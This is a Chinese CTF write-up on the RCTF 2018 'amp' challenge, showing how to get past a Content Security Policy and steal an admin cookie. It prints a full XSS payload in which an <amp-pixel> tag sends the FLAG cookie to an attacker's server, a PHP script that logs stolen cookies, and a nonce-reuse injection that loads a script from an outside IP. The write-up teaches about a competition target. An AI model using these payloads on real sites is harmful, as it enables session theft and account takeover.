首先得从CTF的题目说起。
题目名称:apm,
题目分值:最高1000
题目链接:http://amp.2018.teamrois.cn/
题目考点:amp,CSP协议
解题思路:
1. 进入网站,提示参数为name,因此首先构造name参数,链接为http://amp.2018.teamrois.cn/?name=1, 可以看到如图1所示界面:
111.png

2. 分析可知,name输入的字符可以在图上显示,因此可以考虑加入标签进行XSS,但此条路不通,因为它使用了CSP(内容安全策略),当然虽然也成功的绕过了这个策略(本文最后将介绍如何绕过CSP),但goole浏览器无法提交,因此也无法打到cookie。换个思路,打开源码看到如图2所示:
222.png

3. 分析可知,写代码程序员不关心AMP标准,可能漏洞AMP标准会引发什么漏洞,因此谷歌(百度没卵用)了一波amp,大概意思是amp是谷歌推出的一种标准,主要是用来提高移动设备的访问效率的。它自己有一些自带的标签,类似于JS标签,但和JS标签是两种东西。因此可以考虑amp的标签中是否有可以得到cookie的语法比如js中document.cookie可以得到cookie,而amp中应该也有类似的语法,而且amp标签不在csp的管辖范围之类,可以绕过CSP策略。(为啥要admin的cookie?题目提示了,CSP怎么看出来的?响应头有呀)。有了思路,看一波amp标准(全TM英文,留下了学渣的眼泪)。文档链接:https://www.ampproject.org/zh_cn/docs/reference/components/amp-pixel
如图3所示:
333.png

可以知道在<amp-pixel>标签中允许变量替代,什么意思呢?就是是在<amp-piexl>的标签里面可以设置一个变量,在标签这个变量会被相应的参数替代。举个栗子,<amp-pixel src=”https://xxx.com?cid=CLIENT_ID(FLAG)”>< /amp-pixel >这个标签被浏览器解析之后,会自动将CLLENT_ID(FLAG),替换为cookie中FLAG字段的值,和JS中document.cookie是一个道理。具体各个变量替换的值可以参考以下文档,https://github.com/ampproject/amphtml/blob/master/spec/amp-var-substitutions.md
如图4所示:
444.png

可以看出还有很多变量可以替换,例如有amp版本的变量,时间变量等等。但需要注意的是<amp-pixel>标签中的链接必须是https协议,如图5所示:
555.png

4. 因此构造标签<amp-pixel%20src="https://yourip /1.php?cid=CLIENT_ID(FLAG)"></amp-pixel>其中your ip是你自己的服务器,1.php中的内容为得到cid的值,并将其写入cookie.txt,1.php内容入下:

<?php

    $cookie = $_GET['cid'];
    $log = fopen("cookie.txt","a+");
    fwrite($log,$cookie . "next\n\r");
    fclose($log);

?>

  1. 最后payload为http://amp.2018.teamrois.cn/?name=<;amp-pixel%20src="https://your ip /1.php?cid=CLIENT_ID(FLAG)"></amp-pixel>
    在浏览器中执行(要google浏览器,反正我测试的时候火狐不解析这个标签—有问题望各位大佬指正)。运行后如图6所示:

图6 运行结果
666.png

  1. 查看自己https服务器上的cookie.txt文件,如图7所示:
    777.png

图7 打自己的flag
由于是在答题时限之后做的,后台XSS-bot可能停止阅卷了,因此没有打到服务器cookie,打服务器cookie的思路是提交这个链接给后台,后台会有XSS-bot自己访问,不清楚XSS-bot的可以自行百度。顺便送上HTTPS服务器如何配置的链接,亲测有效,unbuntu下搭的。
https://blog.csdn.net/Sky_qing/article/details/44303221,(如果是阿里云的话,好像是可以申请免费的有效证书的,就可以不用自己的歪证书了。没有测过,纯属听说)。


传统方法绕过CSP(尽管没能拿到flag,但是XSS攻击是已经是实现了的)

查看源代码view-source:http://amp.2018.teamrois.cn/?name=test,我们会发现传入的name参数会原样显示在Dear后面
11.png
首先尝试直接构造XSS语句
http://amp.2018.teamrois.cn/?name=<;script>alert(1)</script>
22.png

在源码中可以看到有alert(1);但是并没有弹出窗口,说明浏览器没有解析。F12查看响应头
33.png

发现有CSP保护,意思是script标签要执行必须携带有正确nonce才能执行里面的内容,我们发现他的源代码中有nonce
44.png

但是这个nonce是每次都要更新的,所以伪造几乎是不可能的。但是我们如果能利用它的这个nonce问题不就解决了?
于是想到传script标签,用某种的办法连接上他的这个nonce据为己用。
于是各种试验,发现HTML有以下特性:
55.png

这是一个显示2.jpg图片的html代码,效果如下:
66.png

77.png

当你在img标签前面加上 新的img标签,并且利用任意一个属性(这里用的alt)不要闭合,这里是一个双引号。再看一下效果:

88.png

显然src 变成了 1.jpg,而width还是200。这说明了一个问题,上面这种写法,前面的属性值优先级会高于后面的,而前面没有而后面有的属性正常解析。

有了这个实验结果,我们可以利用到本题目中。
我们可以传递 一个name=<script src = http://120.79.192.179/1.js a="
99.png

源代码:
110.png

这样script中前面的src = http://120.79.192.179/1.js 会代替
src="https://www.google.com/recaptcha/api.js"
而 nonce 却还是 原有的nonce。
朋友们可能会有疑问,a=” 后面还有几行代码
120.png

经过测试,这个是不会执行的,不会干扰结果,特地做了实验:
130.png

结果还是:

140.png

至此,XSS攻击成功实现,尽管没有成功拿到flag,也学到了一种新方法。